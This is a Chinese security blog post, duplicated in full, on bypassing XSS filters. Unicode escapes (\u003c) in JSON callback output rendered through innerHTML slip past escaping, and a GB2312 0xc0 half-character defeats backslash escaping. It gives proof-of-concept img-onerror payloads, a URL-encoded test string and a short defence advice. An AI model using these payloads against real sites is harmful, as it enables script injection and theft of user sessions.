一種新型的繞過XSS防御的方法介紹
發(fā)布時間:2012-10-19 16:34:36 作者:佚名
我要評論
大家都知道,普遍的防御XSS攻擊的方法是在后臺對以下字符進行轉義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場景下,即使對以上字符進行了轉義,還是可以執(zhí)行XSS攻擊的。
大家都知道,普遍的防御XSS攻擊的方法是在后臺對以下字符進行轉義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場景下,即使對以上字符進行了轉義,還是可以執(zhí)行XSS攻擊的。
首先看一個JS的例子:
<script>
var s = "\u003c\u003e";
alert(s);
</script>運行這段代碼,結果顯示如下:
看到這么熟悉的尖括號,大家會不會有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號,可是運行時卻輸出了尖括號!??!這意味著:可以通過\u003c和\u003e來代替<和>??墒窃撊绾卫眠@個特性來構造XSS攻擊呢?繼續(xù)看一個例子:
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').innerHTML = s;
</script>運行上面代碼,結果顯示如下:
在沒有尖括號的情況下,成功實現(xiàn)了一個彈框的案例。
現(xiàn)在來設想一個更貼近實際開發(fā)情況的例子:
(1)假設某站的首頁:http://www.xxxx.com /main.html,其代碼為:
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。
這個例子簡單模擬了異步拉取信息并進行顯示的情況。
現(xiàn)在假設用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會是什么情況呢?
首先getcontent返回的昵稱應該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因為后臺輸出JSON格式數(shù)據(jù)時,一般都會在\前面添加轉義符進行轉義。
接著main.html的callback函數(shù)應該是等價于執(zhí)行下面的語句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結果如下:
很遺憾,沒有彈出框。原因是原來的轉義序列\(zhòng)u003c并沒有生效,被添加的轉義符轉義掉了。
不過這里假設返回昵稱時對\進行了轉義,但實際情況下,有時輸出json格式數(shù)據(jù)時是沒有對\進行轉義的,那樣就會觸發(fā)漏洞。
對于有對\進行轉義的,這時就輪到我們強大的半字符出場了。對于半字符的問題,這里并不打算詳細講,說下結論:
對于gb2312編碼," [0xc0]\ "是一個合法的編碼,顯示為:"繺"。
對于UTF-8編碼,在IE6下,上述組合也是一個合法的編碼。
其中[0xc0]表示一個十六進制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時,等價于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉義序列\(zhòng)u003c終于又回來了,顯示結果如下:
上述昵稱中并沒有出現(xiàn)單雙引號,尖括號,所以如果后臺只是對單雙引號和尖括號進行轉義,那么是可以被繞過防御的。
總結:
(1)利用場景:輸出內(nèi)容在JS代碼里,并且被動態(tài)顯示出來(如使用innerHTML)。
(2)測試方法:截獲請求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺對半字符,反斜杠,單雙引號,尖括號進行處理。
一切皆有可能,跨站無處不在,發(fā)揮偶們強大的智慧來挖掘吧
首先看一個JS的例子:
<script>
var s = "\u003c\u003e";
alert(s);
</script>運行這段代碼,結果顯示如下:
看到這么熟悉的尖括號,大家會不會有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號,可是運行時卻輸出了尖括號!??!這意味著:可以通過\u003c和\u003e來代替<和>??墒窃撊绾卫眠@個特性來構造XSS攻擊呢?繼續(xù)看一個例子:
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').innerHTML = s;
</script>運行上面代碼,結果顯示如下:
在沒有尖括號的情況下,成功實現(xiàn)了一個彈框的案例。
現(xiàn)在來設想一個更貼近實際開發(fā)情況的例子:
(1)假設某站的首頁:http://www.xxxx.com /main.html,其代碼為:
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。
這個例子簡單模擬了異步拉取信息并進行顯示的情況。
現(xiàn)在假設用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會是什么情況呢?
首先getcontent返回的昵稱應該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因為后臺輸出JSON格式數(shù)據(jù)時,一般都會在\前面添加轉義符進行轉義。
接著main.html的callback函數(shù)應該是等價于執(zhí)行下面的語句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結果如下:
很遺憾,沒有彈出框。原因是原來的轉義序列\(zhòng)u003c并沒有生效,被添加的轉義符轉義掉了。
不過這里假設返回昵稱時對\進行了轉義,但實際情況下,有時輸出json格式數(shù)據(jù)時是沒有對\進行轉義的,那樣就會觸發(fā)漏洞。
對于有對\進行轉義的,這時就輪到我們強大的半字符出場了。對于半字符的問題,這里并不打算詳細講,說下結論:
對于gb2312編碼," [0xc0]\ "是一個合法的編碼,顯示為:"繺"。
對于UTF-8編碼,在IE6下,上述組合也是一個合法的編碼。
其中[0xc0]表示一個十六進制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時,等價于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉義序列\(zhòng)u003c終于又回來了,顯示結果如下:
上述昵稱中并沒有出現(xiàn)單雙引號,尖括號,所以如果后臺只是對單雙引號和尖括號進行轉義,那么是可以被繞過防御的。
總結:
(1)利用場景:輸出內(nèi)容在JS代碼里,并且被動態(tài)顯示出來(如使用innerHTML)。
(2)測試方法:截獲請求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺對半字符,反斜杠,單雙引號,尖括號進行處理。
一切皆有可能,跨站無處不在,發(fā)揮偶們強大的智慧來挖掘吧
相關文章
- 很多游戲服務器租用的時候會出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2025-08-12
- 魔獸世界服務器被攻擊在目前來說也是比較常見的,同行競爭激烈,在官服開放時也遇到過DDOS攻擊,要是飛飛沒記錯是在22年9月14日,從剛開始的身份驗證服務器出現(xiàn)問題,到確2023-07-17
分享五大免費企業(yè)網(wǎng)絡入侵檢測(IDS)工具
這篇文章主要分享一下五大免費企業(yè)網(wǎng)絡入侵檢測(IDS)工具,當前企業(yè)對于網(wǎng)絡安全越來越重視,那么后期可能就需要大家多多關注一些安全工具的使用于檢測2019-12-01
網(wǎng)絡安全基礎之網(wǎng)絡協(xié)議與安全威脅的關系介紹
網(wǎng)絡協(xié)議是什么呢?網(wǎng)絡協(xié)議是網(wǎng)絡中計算機或設備之間進行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡協(xié)議和安全威脅的關系,需要的朋友不妨閱讀本文了解一下2019-04-02
DDoS攻擊是由DoS攻擊轉化的,這項攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進行防御呢?本文中將會有詳細的介紹,需要的朋友不妨閱讀本文進行參考2019-01-15
基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設備,感興趣的朋友不妨閱讀本文進行了解2019-01-11
為何黑客要挾制路由器DNS 用戶該怎樣實時發(fā)覺和防備方法
起首說說挾制路由器是什么意思,路由器挾制平日指的是,開啟了無線網(wǎng)絡功效的無線路由器,攻擊者經(jīng)由過程破解無線暗碼銜接上無線網(wǎng)后,再登錄路由治理界面來節(jié)制全部無線網(wǎng)2018-05-16
大勢至共享文件監(jiān)控軟件、共享文件權限管理軟件主控端與客戶端的連接設
這篇文章主要介紹了大勢至共享文件監(jiān)控軟件、共享文件權限管理軟件主控端與客戶端的連接設置方法詳解,,小編覺得還是挺不錯的,具有一定借鑒價值,下面就來和小編一起看看2018-01-25
詳細介紹sd卡加密軟件的選擇以及給sd卡設置密碼、給sd卡加密
這篇文章主要介紹了詳細介紹sd卡加密軟件的選擇以及給sd卡設置密碼、給sd卡加密,如何保護sd卡文件的安全,如何給SD卡設置密碼、如何給SD卡加密,下面就跟小編一起來看看吧2018-01-19
server2008共享設置、服務器共享文件設置、服務器設置共享文件夾的方法
這篇文章主要介紹了server2008共享設置、服務器共享文件設置、服務器設置共享文件夾的方法詳細介紹,保護服務器共享文件設置訪問權限,讓每個部門只訪問自己的共享文件等,2018-01-19








